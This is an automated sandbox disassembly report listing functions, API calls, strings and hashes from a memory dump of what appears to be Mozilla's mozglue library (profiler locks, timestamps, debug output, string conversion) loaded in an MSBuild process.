API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: ee64e0c11ecc1fd7847a0e6a24317963a0dda13f70b8414f7ed61b979f0c3539
Instruction ID: 1866136697d05cce9eb90dfc4088fe4b0608840f7bc988562a2c120df93db762
Opcode Fuzzy Hash: ee64e0c11ecc1fd7847a0e6a24317963a0dda13f70b8414f7ed61b979f0c3539
Instruction Fuzzy Hash: F441F435701210DBDB209FA4E804BAA7779EF8E30CF040116ED459BB01DB729916CFE6

Function 6C3BD840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C3BD85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C3BD86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C3BD918
GetCurrentThreadId.KERNEL32 ref: 6C3BD93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C3BD948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C3BD970
GetCurrentThreadId.KERNEL32 ref: 6C3BD976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C3BD982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C3BD9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C3BDA2E
GetCurrentThreadId.KERNEL32 ref: 6C3BDA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C3BDA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C3BDA91

Part of subcall function 6C385C50: GetTickCount64.KERNEL32 ref: 6C385D40
Part of subcall function 6C385C50: EnterCriticalSection.KERNEL32(6C3EF688), ref: 6C385D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C3BDAB7

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: 2e6cf09205ffe6d746d2d695d66ed4885e11f57972258b8933eb389fd437232a
Instruction ID: 960522bb36c1785864dffbf692bd5a5651abac90d4121fa75078df7f441b725c
Opcode Fuzzy Hash: 2e6cf09205ffe6d746d2d695d66ed4885e11f57972258b8933eb389fd437232a
Instruction Fuzzy Hash: 5871BD35600304DFCB50CF29C884B9ABBF9FF89318F15856AE85A9B705DB30A944CF95

Function 6C3BD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C3BD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C3BD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C3BD52A
GetCurrentThreadId.KERNEL32 ref: 6C3BD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C3BD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C3BD55F
free.MOZGLUE(00000000), ref: 6C3BD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C3BD5D3
GetCurrentThreadId.KERNEL32 ref: 6C3BD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C3BD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C3BD652
GetCurrentThreadId.KERNEL32 ref: 6C3BD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C3BD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C3BD6A2

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: ace3eee953be2fab3f56fb98bb62738f660bd9ec6bfe9e0b7e9f08863bf154a2
Instruction ID: 46af054992e8421dbb33965af9ac0985d18774307e4fe197a3fb9cc44a137a74
Opcode Fuzzy Hash: ace3eee953be2fab3f56fb98bb62738f660bd9ec6bfe9e0b7e9f08863bf154a2
Instruction Fuzzy Hash: F6517E71604705DFC755CF25C884A9ABBB8FF89318F004A2EE85A97710DB31A945CF95

Function 6C361E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C3EE784), ref: 6C361EC1
LeaveCriticalSection.KERNEL32(6C3EE784), ref: 6C361EE1
EnterCriticalSection.KERNEL32(6C3EE744), ref: 6C361F38
LeaveCriticalSection.KERNEL32(6C3EE744), ref: 6C361F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C361F83
LeaveCriticalSection.KERNEL32(6C3EE784), ref: 6C361FC0
EnterCriticalSection.KERNEL32(6C3EE784), ref: 6C361FE2
LeaveCriticalSection.KERNEL32(6C3EE784), ref: 6C361FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C362019

Strings

D>l, xrefs: 6C361F56
\>l, xrefs: 6C361F3E
MOZ_CRASH(), xrefs: 6C362000
D>l, xrefs: 6C361F32

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: D>l$D>l$MOZ_CRASH()$\>l
API String ID: 2055633661-2486549962
Opcode ID: fdf1a4a580adebf78338ba5f7a5eb14dc18cd74c3218c7cab941d7091fd689dc
Instruction ID: 4c12c40afbdeac0ef12ac08168a44f6fbfd32f6fdc1300090675bb79fe62ca09
Opcode Fuzzy Hash: fdf1a4a580adebf78338ba5f7a5eb14dc18cd74c3218c7cab941d7091fd689dc
Instruction Fuzzy Hash: 96410675B0031A8FDF619F6AD888BAA37B9EB4D308F040126E9049BB48DB7198048FD5

Function 6C385670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C3856D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C3856E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C3856F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C385744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C3857BC
GetTickCount64.KERNEL32 ref: 6C3858CB
EnterCriticalSection.KERNEL32(6C3EF688), ref: 6C3858F3
__aulldiv.LIBCMT ref: 6C385945
LeaveCriticalSection.KERNEL32(6C3EF688), ref: 6C3859B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C3EF638,?,?,?,?), ref: 6C3859E9

Strings

MOZ_APP_RESTART, xrefs: 6C3856CC

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 9a9cafe83114738633333b95f1752c4d76068e830acb241c482a161112be1492
Instruction ID: e14bbf86fa081c2c72d47e3b062b520891fb6bec66fb62d8c23cfaa998a8e18c
Opcode Fuzzy Hash: 9a9cafe83114738633333b95f1752c4d76068e830acb241c482a161112be1492
Instruction Fuzzy Hash: 6BC1AB31A097409FDB15CF28C48066ABBF5BFCE714F058A1EE8C597660D770A885CF82

Function 6C3AEC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C3A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C374A68), ref: 6C3A945E
Part of subcall function 6C3A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C3A9470
Part of subcall function 6C3A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C3A9482
Part of subcall function 6C3A9420: __Init_thread_footer.LIBCMT ref: 6C3A949F

GetCurrentThreadId.KERNEL32 ref: 6C3AEC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C3AEC8C

Part of subcall function 6C3A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3A94EE
Part of subcall function 6C3A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C3A9508

GetCurrentThreadId.KERNEL32 ref: 6C3AECA1
AcquireSRWLockExclusive.KERNEL32(6C3EF4B8), ref: 6C3AECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C3AECC5
ReleaseSRWLockExclusive.KERNEL32(6C3EF4B8), ref: 6C3AED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C3AED19
CloseHandle.KERNEL32(?), ref: 6C3AED28
free.MOZGLUE(00000000), ref: 6C3AED2F
ReleaseSRWLockExclusive.KERNEL32(6C3EF4B8), ref: 6C3AED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C3AEC94

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 4b4222a6f62c0a82a5d3155410d734168325a7a34f2f53dc5fc474e7fa8ced26
Instruction ID: 0efb268987baddebe3a6fc7a89da6eecab22cc5059102368fa9f388d3893cbda
Opcode Fuzzy Hash: 4b4222a6f62c0a82a5d3155410d734168325a7a34f2f53dc5fc474e7fa8ced26
Instruction Fuzzy Hash: 9021B475600214AFDB119FA4E808A9A377DEF8D26CF104212FC145B740D77698268FA6

Function 6C3C5FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C3C6009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C3C6024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(Q6l,?), ref: 6C3C6046
OutputDebugStringA.KERNEL32(?,Q6l,?), ref: 6C3C6061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C3C6069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C3C6073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C3C6082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C3E148E), ref: 6C3C6091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,Q6l,00000000,?), ref: 6C3C60BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C3C60C4

Strings

Q6l, xrefs: 6C3C5FFC, 6C3C6042, 6C3C6045, 6C3C60B3

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: Q6l
API String ID: 3835517998-2568725878
Opcode ID: b675b190c90a53a59a2cb7b97429bcdd68412c76f240cfeea1379874f53547cd
Instruction ID: c59cbd2651f0f66b7d1f6a31589b0806d38900b361bf42cfc285110aae320eb5
Opcode Fuzzy Hash: b675b190c90a53a59a2cb7b97429bcdd68412c76f240cfeea1379874f53547cd
Instruction Fuzzy Hash: CF21BA71A003189FDF215F24DC496EE7BBCFF49218F008429E85997241DB75A949CFD6

Function 6C3A8ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C36EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C36EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C3AB392,?,?,00000001), ref: 6C3A91F4

Part of subcall function 6C39CBE8: GetCurrentProcess.KERNEL32(?,6C3631A7), ref: 6C39CBF1
Part of subcall function 6C39CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C3631A7), ref: 6C39CBFA

Strings

marker-chart, xrefs: 6C3A905E
timeline-fileio, xrefs: 6C3A90A4
stack-chart, xrefs: 6C3A90B2
timeline-overview, xrefs: 6C3A907A
data, xrefs: 6C3A90E8
marker-table, xrefs: 6C3A906C
timeline-ipc, xrefs: 6C3A9096
timeline-memory, xrefs: 6C3A9088
name, xrefs: 6C3A8F16

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 9e925bf167fcf3e45e2c4039f94189512a8224b02bd3c3721ab5b115b91806f4
Instruction ID: a43cc21756d8dd52fcc939d8e482a37a07fcc58df1132568b8d8bd9f40865c71
Opcode Fuzzy Hash: 9e925bf167fcf3e45e2c4039f94189512a8224b02bd3c3721ab5b115b91806f4
Instruction Fuzzy Hash: 2CB1D4B5A002099BDB04CF95C8917EEBBB5FF89318F104429D501ABF80D776A956CFE2

Function 6C38C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C38C5A3
WideCharToMultiByte.KERNEL32 ref: 6C38C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C38C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C38CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C38CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C38CAA5

Strings

(null), xrefs: 6C38C596
0, xrefs: 6C38D30A

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 4999cb343bebbe00cccc7029e1b1d0e3c9d2a8efe6669db906c708b43927aff7
Instruction ID: 5f407c046caf1f5837d324992dff814fde1c8020ab06daa297f71db70fcdf1d2
Opcode Fuzzy Hash: 4999cb343bebbe00cccc7029e1b1d0e3c9d2a8efe6669db906c708b43927aff7
Instruction Fuzzy Hash: 0AA1DF3020A3428FDB01DF28D98475ABBF5AF89748F148A2DE999D7641D736EC04CF92

Function 6C3648E0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,6C3A483A,?), ref: 6C364ACB
memcpy.VCRUNTIME140(-00000023,?,?,?,?,6C3A483A,?), ref: 6C364AE0
moz_xmalloc.MOZGLUE(?,?,6C3A483A,?), ref: 6C364A82

Part of subcall function 6C37CA10: mozalloc_abort.MOZGLUE(?), ref: 6C37CAA2

memcpy.VCRUNTIME140(-00000023,?,?,?,?,6C3A483A,?), ref: 6C364A97
moz_xmalloc.MOZGLUE(?,?,6C3A483A,?), ref: 6C364A35

Part of subcall function 6C37CA10: malloc.MOZGLUE(?), ref: 6C37CA26

memcpy.VCRUNTIME140(-00000023,?,?,?,?,6C3A483A,?), ref: 6C364A4A
moz_xmalloc.MOZGLUE(?,?,6C3A483A,?), ref: 6C364AF4
moz_xmalloc.MOZGLUE(?,?,6C3A483A,?), ref: 6C364B10
moz_xmalloc.MOZGLUE(?,?,6C3A483A,?), ref: 6C364B2C

Strings

:H:l, xrefs: 6C3648EB, 6C3649FB

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID: :H:l
API String ID: 4251373892-2717313195
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: bf4006a5bd44d907ead767568aea5b1229379f2518270a16a2e06ed547ed14e6
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: C27158B19007069FCB54CF69C490AAAB7F9FF09308B104A3EE15A9BB41E731E655CF91

Function 6C38C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C38C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C38C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C38C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C38C891

Strings

inf, xrefs: 6C38C78F
nan, xrefs: 6C38C7A8
INF, xrefs: 6C38C794
NAN, xrefs: 6C38C7AD

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: e7de98fb9c9d4b7a50cc497be137f917daccd6d8d5c60c9cdf66a719aef89571
Instruction ID: a1758c9ec69158d980c070c9c1e384512b40cca0ad60679b4e2e28584a2b1d88
Opcode Fuzzy Hash: e7de98fb9c9d4b7a50cc497be137f917daccd6d8d5c60c9cdf66a719aef89571
Instruction Fuzzy Hash: 205191709097408BD700EF2DD48169AFBF4BF8A308F408A2DE9D5A7651E771D9858F53

Function 6C363480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C363284,?,?,6C3856F6), ref: 6C363492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C363284,?,?,6C3856F6), ref: 6C3634A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C363284,?,?,6C3856F6), ref: 6C3634EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C36350E
__Init_thread_footer.LIBCMT ref: 6C363522
__aulldiv.LIBCMT ref: 6C363552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C363284,?,?,6C3856F6), ref: 6C36357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C363284,?,?,6C3856F6), ref: 6C363592

Part of subcall function 6C39AB89: EnterCriticalSection.KERNEL32(6C3EE370,?,?,?,6C3634DE,6C3EF6CC,?,?,?,?,?,?,?,6C363284), ref: 6C39AB94
Part of subcall function 6C39AB89: LeaveCriticalSection.KERNEL32(6C3EE370,?,6C3634DE,6C3EF6CC,?,?,?,?,?,?,?,6C363284,?,?,6C3856F6), ref: 6C39ABD1

Strings

kernel32.dll, xrefs: 6C3634EA
GetSystemTimePreciseAsFileTime, xrefs: 6C363508

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 13b03d635bea8ed9ffc0970925e90d15b9b2ac574b8a99e12e6ed81cc19d1167
Instruction ID: 26555e3713ab824cb13775b2d86800638f922717f776a069c3a6810830928311
Opcode Fuzzy Hash: 13b03d635bea8ed9ffc0970925e90d15b9b2ac574b8a99e12e6ed81cc19d1167
Instruction Fuzzy Hash: 8A31C771B002099BDF60DFB9E848AAA777DFB4D308F10441BE601D7A50EB749904CF61

Function 6C364480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C3A4843,?), ref: 6C3645F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C3A4843,?), ref: 6C36468A
free.MOZGLUE(?,?,?,?,?,?,6C3A4843,?), ref: 6C3646C9
free.MOZGLUE(?), ref: 6C3646EF
free.MOZGLUE(?), ref: 6C364712
free.MOZGLUE(?), ref: 6C364735
free.MOZGLUE(?), ref: 6C364758
free.MOZGLUE(?), ref: 6C36477B
free.MOZGLUE(?), ref: 6C36479E

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: f519176357f2046104c95b03baea0ecc9bacb791f8a397fd8c8243a9b3199053
Instruction ID: 171d371ebb5c7098db9eb142dccca3f817f10b9119a31f9e993b3c78448a3e7a
Opcode Fuzzy Hash: f519176357f2046104c95b03baea0ecc9bacb791f8a397fd8c8243a9b3199053
Instruction Fuzzy Hash: 3DB1E672E001108FDB18DE3DD8B476D76A6AF42328F184629E456DBF9AD732D8408F62

Function 6C3CAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C3CAC52
CreateFileMappingW.KERNEL32 ref: 6C3CAC7D
GetSystemInfo.KERNEL32 ref: 6C3CAC98
MapViewOfFile.KERNEL32 ref: 6C3CACB0
GetSystemInfo.KERNEL32 ref: 6C3CACCD
MapViewOfFile.KERNEL32 ref: 6C3CAD05
UnmapViewOfFile.KERNEL32 ref: 6C3CAD1C
CloseHandle.KERNEL32 ref: 6C3CAD28
UnmapViewOfFile.KERNEL32 ref: 6C3CAD37
CloseHandle.KERNEL32 ref: 6C3CAD43
CloseHandle.KERNEL32 ref: 6C3CAD67

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

